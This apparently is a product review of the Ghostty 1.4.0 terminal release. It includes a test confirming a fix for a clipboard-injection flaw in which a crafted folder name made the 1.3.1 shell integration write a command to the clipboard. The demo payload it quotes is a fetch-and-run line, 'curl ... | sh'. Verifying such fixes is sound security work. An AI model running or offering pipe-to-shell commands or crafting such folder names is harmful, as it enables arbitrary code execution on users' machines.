Ghostty 1.4.0

Ghostty is a free, open-source terminal app for macOS and Linux, led by Mitchell Hashimoto and run as a non-profit project. Version 1.4.0 came out on October 27, 2026, after seven months of work by 172 contributors. Per the release notes, it adds full Kitty graphics support including animation, compresses old scrollback to use 70% to 90% less memory, brings a new OpenGL renderer on Linux, adds a ghostty +ssh command, and fixes ten security issues.

How we tested. October 27, 2026, on a Linux box with zsh 5.9 and bash 5.2. We tested one of the security fixes: GHSA-2r63-vmw6-3m3c (opens in a new tab). We took Ghostty's own shell-integration scripts, unchanged, from the 1.3.1 and 1.4.0 source releases and loaded them in real interactive shells. Then we cloned a git repo that contains a folder with a crafted name, cd'd into it, and logged every control sequence the shell sent to the terminal. We did not run the Ghostty app itself. The full test is in the story.

Pro: The fix works. With 1.3.1's zsh integration, entering the folder sent three clipboard writes (OSC 52) carrying our harmless demo text, curl -fsSL https://example.com/i.sh | sh. With 1.4.0, zsh and bash sent zero, for both a plain-text folder name and one with raw control bytes.

Con: Ghostty still lets programs write to your clipboard without asking by default (clipboard-write = allow, in 1.4.0 too). The fix closes this one path, not clipboard writes in general; set clipboard-write = ask if you want a prompt. On Linux, 1.4 also needs GTK 4.18 and libadwaita 1.7, which Ubuntu 24.04 doesn't ship.